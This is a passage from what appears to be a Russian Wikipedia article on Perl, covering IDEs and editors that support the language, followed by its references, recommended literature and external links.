Поддержка Perl включена в такую универсальную IDE, как ActiveState Komodo и её открытую версию Komodo Edit[54]. Для Eclipse поддержка Perl реализована в виде пакета расширений EPIC[53][55]. Обе этих среды в числе прочего включают визуальный отладчик[56]. IntelliJ IDEA и прочие продукты JetBrains поддерживают Perl5 с помощью плагина с открытым исходным кодом — Camelcade.
Поддержка перла в том или ином виде имеется в большинстве текстовых редакторов для программистов, таких как кроссплатформенные Vim[53], Emacs[53], SciTE[53], Gedit[57], Geany, jEdit[57], Sublime Text, или предназначенные для Windows Notepad++[53][57] и PSPad а также такие shareware продукты как UltraEdit & UEStudio от IDM Computer Solutions, Inc. Для Mac OS таким редактором может служить TextMate[53].
Определённой популярностью среди пользователей Windows пользуется также Perl Editor, входящий в линейку специализированных shareware редакторов для программистов от DzSoft[58][59][60]. Был достаточно известен бесплатный редактор Mastak Absolute Perl[61], но его разработка и поддержка прекращены, последняя версия датируется 29 сентября 2003 года[62]. Ещё один отечественный бесплатный perl-редактор для Windows — это Perl Express (последняя версия с русским интерфейсом — 2.4.5 от 2 декабря 2005, с английским — 2.5 от 23 декабря 2005)[63]. Среди других сред разработки, специализированных для Perl следует отметить shareware IDE PerlBuilder[64][65][66] и отечественный редактор Collie Perl Shell 2.0[65][67].
См. также
[править | править код]Примечания
[править | править код]- ↑ 1 2 3 http://learn.perl.org/faq/perlfaq1.html
- ↑ 1 2 http://www.perlfoundation.org/
- ↑ Knop G. perl v5.40.0 is now available — 2024.
- ↑ https://metacpan.org/pod/perlhist
- ↑ The perl Open Source Project on Open Hub: Licenses Page — 2006.
- ↑ http://dev.perl.org/licenses/
- ↑ https://history.perl.org/PerlTimeline.html
- ↑ 1 2 3 4 5 6 https://www.perl.org/get.html
- ↑ 1 2 Perl documentation (англ.). Дата обращения: 18 декабря 2016. Архивировано 20 января 2011 года.
- ↑ What's the difference between "perl" and "Perl"? (англ.). Дата обращения: 18 декабря 2016. Архивировано 12 июля 2012 года.
- ↑ perlintro(1) man page
- ↑ Usenet post, May 10, 1997, with ID 199705101952.MAA00756@wall.org
- ↑ Larry Wall . Дата обращения: 20 августа 2006. Архивировано 12 марта 2006 года.
- ↑ Perl, a «replacement» for
awk
andsed
. Дата обращения: 18 декабря 2007. - ↑ Архив списка рассылки perl5-porters . Дата обращения: 24 августа 2010. Архивировано 1 мая 2011 года.
- ↑ [История языка Perl на сайте perldoc.perl.org (англ.) . Дата обращения: 24 августа 2010. Архивировано 13 января 2011 года. История языка Perl на сайте perldoc.perl.org (англ.)]
- ↑ CPAN - Comprehensive Perl Archive Network . Дата обращения: 13 июля 2021. Архивировано 3 октября 2019 года.
- ↑ perl.org CPAN page . Дата обращения: 1 ноября 2010. Архивировано 27 мая 2012 года.
- ↑ perl56delta — perldoc.perl.org . Дата обращения: 1 ноября 2010. Архивировано 2 февраля 2011 года.
- ↑ perl561delta — perldoc.perl.org . Дата обращения: 1 ноября 2010. Архивировано 18 ноября 2010 года.
- ↑ [1]Архивная копия от 23 ноября 2010 на Wayback MachineАрхивная копия от 23 ноября 2010 на Wayback MachineApocalypse 1: The Ugly, the Bad, and the Good — dev.perl.org (англ.)
- ↑ perl58delta — perldoc.perl.org . Дата обращения: 1 ноября 2010. Архивировано 21 ноября 2010 года.
- ↑ HaskellWiki . Дата обращения: 1 ноября 2010. Архивировано 11 октября 2006 года.
- ↑ perldelta: what is new for perl 5.10.0 Архивировано 30 марта 2009 года.
- ↑ Smart matching in detail Архивировано 18 февраля 2010 года.
- ↑ perl5120delta — search.cpan.org . Дата обращения: 1 ноября 2010. Архивировано 29 ноября 2010 года.
- ↑ perl5122delta — search.cpan.org . Дата обращения: 1 ноября 2010. Архивировано 30 ноября 2010 года.
- ↑ perldelta - what is new for perl v5.12.3 (англ.). Perl 5 version 12.2 documentation. perldoc.perl.org. Дата обращения: 18 декабря 2013. Архивировано 8 июня 2011 года.
- ↑ 1 2 perldelta - what is new for perl v5.16.0 (англ.). Perl 5 version 16.0 documentation. metacpan.org. Дата обращения: 21 мая 2012. Архивировано из оригинала 28 июля 2020 года.
- ↑ perl5180delta - what is new for perl v5.18.0 - metacpan.org - Perl programming language . Perl 5 version 18.0 documentation. metacpan.org. Дата обращения: 27 октября 2013. Архивировано 29 октября 2013 года.
- ↑ Perl 5.20 released (англ.) (27 мая 2014). Дата обращения: 18 декабря 2016. Архивировано из оригинала 27 октября 2016 года.
- ↑ Perl 5.22 a preview (англ.) (16 апреля 2015). Дата обращения: 18 декабря 2016. Архивировано из оригинала 15 ноября 2016 года.
- ↑ .Perl 5.24 released (англ.) (9 мая 2016). Дата обращения: 18 декабря 2016. Архивировано из оригинала 24 ноября 2016 года.
- ↑ Perl 5.26 released (англ.) (30 мая 2017). Дата обращения: 6 июня 2017. Архивировано 3 июня 2017 года.
- ↑ Perl 5.28.0 released (14 июля 2021). Дата обращения: 14 июля 2021. Архивировано 14 июля 2021 года.
- ↑ Script Runs (16 июля 2021). Дата обращения: 14 июля 2021. Архивировано 14 июля 2021 года.
- ↑ Perl 5.32.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 13 июля 2021 года.
- ↑ The Perl Conference in the Cloud (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 10 мая 2021 года.
- ↑ Announcing Perl 7 (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 24 июня 2020 года.
- ↑ Announce Perl 5.34.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 4 июня 2021 года.
- ↑ Perl 5.34.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 21 июня 2021 года.
- ↑ Milestones in the Perl Renaissance — Modern Perl Programming Архивная копия от 27 октября 2012 на Wayback Machine. Modernperlbooks.com. Retrieved on 2013-07-17.
- ↑ Вячеслав Тихановский. Возрождение Perl // Pragmatic Perl. — Март 2013. — Вып. 1. Архивировано 27 сентября 2020 года.
- ↑ Preface (Modern Perl 2011—2012) Архивная копия от 28 сентября 2012 на Wayback Machine. Modernperlbooks.com. Retrieved on 2013-07-17.
- ↑ YAPC::NA 2013 — June 3-5, Austin, Texas . Дата обращения: 18 декабря 2013. Архивировано из оригинала 22 июня 2013 года.
- ↑ [2]Архивная копия от 19 декабря 2013 на Wayback MachineWhat is Moe (a clarification) | Stevan Little [blogs.perl.org&#;
- ↑ p2 on potion . Дата обращения: 18 декабря 2013. Архивировано 24 сентября 2013 года.
- ↑ goccy/gperl · GitHub . Дата обращения: 18 декабря 2013. Архивировано 23 февраля 2015 года.
- ↑ Tom Christiansen, Larry Wall, Brian Foy and Jon Orwant. Ch. 12. Objects. -> The Moose in the Room // Programming Perl: Unmatched Power for Text Processing and Scripting. — O’Reilly, 2012. — P. 453—455. — 1130 p. — ISBN 0596004923, 9780596004927.
- ↑ moose — A Postmodern Object System for Perl . Дата обращения: 15 ноября 2011. Архивировано 23 ноября 2011 года.
- ↑ программа из одной строчки на Perl . Дата обращения: 22 апреля 2012. Архивировано 9 мая 2012 года.
- ↑ perlfaq3 — perldoc.perl.org . Дата обращения: 19 мая 2010. Архивировано 25 мая 2010 года.
- ↑ 1 2 3 4 5 6 7 Sébastien Aperghis-Tramoni, Damien Krotkine, Philippe Bruhat, Jérôme Quelin. Ch.1 Démarrer avec Perl ⟶ Édites les programmers // Perl moderne. — Pearson Education France, 29 окт. 2010 г.. — С. 4—5. — 446 p. — (Le Guide de survie). — ISBN 9782744024191.
- ↑ Andy Lester, Richard Foley. Ch. 14. Command LineDebuggers and GUI Debuggers ⟶ ActivePerl Pro Studio // Pro Perl Debugging. — Apress, 27 июля 2005 г. — С. 233. — 296 p. — ISBN 9781430200444.
- ↑ EPIC — Perl Editor and IDE for Eclipse . Дата обращения: 16 мая 2022. Архивировано 8 мая 2022 года.
- ↑ brian d foy. Ch 4. Debugging Perl ⟶ Other Debuggers // Mastering Perl. — O’Reilly, 16 июля 2007 г. — P. 64. — 346 p. — ISBN 9780596551476.
- ↑ 1 2 3 Keith Bradnam, Ian Korf. 2.3 Installing a code editor // UNIX and Perl to the Rescue!: A Field Guide for the Life Sciences (and Other Data-rich Pursuits). — Cambridge University Press,, 19 июля 2012 г. — P. 15. — 428 p. — ISBN 9781107000681.
- ↑ R. Chris Fraley. Ch. 15. Wrapping it Up // How to Conduct Behavioral Research Over the Internet: A Beginner's Guide to HTML and CGI/Perl. — Guilford Press, 2004. — P. 272. — 299 p. — ISBN 978-1-57230-997-5.
- ↑ John P. Flynt. Ch 1. Getting Started // Perl Power!: The Comprehensive Guide. — Thomson Course Technology PTR, 2006. — С. 22—24. — 427 p. — ISBN 9781598631616.
- ↑ DzSoft Perl Editor . Дата обращения: 8 января 2014. Архивировано 8 января 2014 года.
- ↑ "«Мастак.Ру» представил комплексный инструментарий для Perl-разработчиков". CNews. 2002-04-24. Архивировано 9 января 2014. Дата обращения: 9 января 2014.
- ↑ Mastak Absolute Perl Архивная копия от 9 января 2014 на Wayback Machine на SoftPortal
- ↑ Perl Express Архивная копия от 23 октября 2013 на Wayback Machine — бесплатный Perl-редактор для Windows
- ↑ Andy Lester, Richard Foley. Ch. 14. Command LineDebuggers and GUI Debuggers ⟶ Perl Builder // Pro Perl Debugging. — Apress, 27 июля 2005 г. — С. 234—235. — 296 p. — ISBN 9781430200444.
- ↑ 1 2 p4in. Софт для perl-разработчика // Спецвыпуск Xakep. — № 15. Архивировано 26 апреля 2014 года.
- ↑ Perl Builder 2.0 Архивировано 13 февраля 2014 года.
- ↑ Collie Perl Shell 2.0 Архивировано 9 января 2014 года.
Литература
[править | править код]- Ларри Уолл, Том Кристиансен, Джон Орвант. Программирование на Perl = Programming Perl. — М.: O’Reilly, «Символ», 2008. — 1145 с. — 4500 экз. — ISBN 5-93286-020-0.
- Рэндал Л. Шварц, Том Феникс, Брайан Д. Фой. Изучаем Perl. — М.: O’Reilly, «Символ», 2009. — С. 377. — ISBN 978-5-93286-154-7.
- Рэндал Л. Шварц, Брайан Д. Фой и Том Феникс. Perl: изучаем глубже. — М.: O’Reilly, «Символ», 2007. — С. 320. — ISBN 978-5-93286-093-9.
- Кристиансен, Торкингтон. Perl. Сборник рецептов. Для профессионалов = Perl Cookbook. — М.: O’Reilly, «Питер», 2004. — 928 с. — ISBN 5-94723-855-1.
- Пол Уайтхэд. Perl: наглядный курс программирования = Perl: Your Visual Blueprint for Building Perl Scripts. — М.: «Диалектика», 2001. — 280 с. — ISBN 0-7645-3478-5.
- Линкольн Д. Штайн. Разработка сетевых программ на Perl = Network Programming with Perl. — М.: Addison Wesley, «Вильямс», 2001. — 752 с. — 4000 экз. — ISBN 5-8459-0222-3.
- Learning Perl 6th Edition (2011), O’Reilly. Beginner-level introduction to Perl.
- Beginning Perl 1st Edition (2012), Wrox. A beginner’s tutorial for those new to programming or just new to Perl.
- Modern Perl Архивная копия от 22 декабря 2011 на Wayback Machine 2nd Edition (2012), Onyx Neon. Describes Modern Perl programming techniques.
- Programming Perl 4th Edition (2012), O’Reilly. The definitive Perl reference.
- Effective Perl Programming 2nd Edition (2010), Addison-Wesley. Intermediate- to advanced-level guide to writing idiomatic Perl.
- Perl Cookbook, ISBN 0-596-00313-7. Practical Perl programming examples.
- Dominus, Mark Jason. Higher Order Perl (неопр.). — Morgan Kaufmann, 2005. — ISBN 1-55860-701-3. Functional programming techniques in Perl.
Ссылки
[править | править код]- Официальный сайт (англ.)
- www.cpan.org Fрхив библиотек для языка Perl — CPAN (англ.)
- Perldoc — официальная документация Perl (англ.)
- Pragmatic Perl — электронный журнал о современном Perl на русском
- Perl в каталоге ссылок Curlie (dmoz)